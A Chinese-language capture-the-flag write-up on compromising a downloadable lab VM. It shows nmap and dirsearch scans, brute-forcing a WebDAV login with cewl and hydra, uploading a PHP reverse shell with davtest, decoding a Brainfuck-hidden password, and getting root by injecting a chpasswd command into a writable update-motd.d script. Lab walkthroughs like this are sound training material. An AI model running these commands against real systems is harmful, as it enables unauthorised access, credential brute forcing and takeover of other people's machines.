前言
这是打靶训练的第23周,靶机下载,难度低
信息搜集
nmap扫描结果
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
首页全是图片,拉到末尾看见有个链接

点击Do Not Click后,出现这个图片

没啥有用的信息,dirsearch扫描结果
200 - 4KB - /images/
200 - 3KB - /index.html
403 - 278B - /server-status
403 - 278B - /server-status/
401 - 460B - /webdav/
401 - 460B - /webdav/index.html
401 - 460B - /webdav/servlet/webdav/
有个webdav,解释一下,webdav就像一个存储服务,各种应用都可以连接到它,允许应用直接访问我们的云盘内容,对其进行读写操作。
访问/webdav/,要求登录

那么只有爆破了,这里使用cewl提取网页信息来生成字典,cewl http://192.168.0.149/ -w pwd.txt。之后,使用hydra来爆破hydra -L pwd.txt -P pwd.txt 192.168.0.149 http-get /webdav -v

getshell
使用用户名:yamdoot,密码:Swarg,能成功登录

既然是webdav,那么可以上传文件。使用davtest,来测试是否有上传权限。davtest -url http://192.168.0.149/webdav/ -auth yamdoot:Swarg

通过测试结果可看出,几乎所有的文件都支持上传。只有html、php、txt允许执行。我们可以上传一个反弹shell的php文件。
cp /usr/share/webshells/php/php-reverse-shell.php .,编辑php-reverse-shell.php文件后

使用davtest -url http://192.168.0.149/webdav/ -auth yamdoot:Swarg -uploadfile php-reverse-shell.php -uploadloc shell.php,将本地的php-reverse-shell.php,上传过去命名成shell.php

查看web,上传成功

访问后,拿到shell

提权
提权可以使用CVE-2021-3493。这里使用其他方法提权
查找拥有root权限,并且其他用户可以可读可修改的文件,find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null。

有个hell.sh,cat /mnt/hell.sh得到以下内容
#!/bin/bash
echo"Highway to Hell";
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.
最后一行稀奇古怪的符号完全看不懂啊,查了下,才知道这是一门叫BrainFuck的编程语言。使用tio.run在线运行,得到下面结果

chitragupt可能是某个账号的密码,查看home文件夹,获取3个账号名

一个一个测试,以inferno用户名,密码chitragupt,ssh成功登录。再次执行find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

update-motd.d这个目录作用就是登录和欢迎信息

既然允许我们写入,那直接改写root密码,vi 00-header,写入echo 'root:123' | chpasswd,当我们下次ssh登录的时候就会将root用户的密码改为123

本次提权使用的是文件权限配置不当提权,也就是常说的suid提权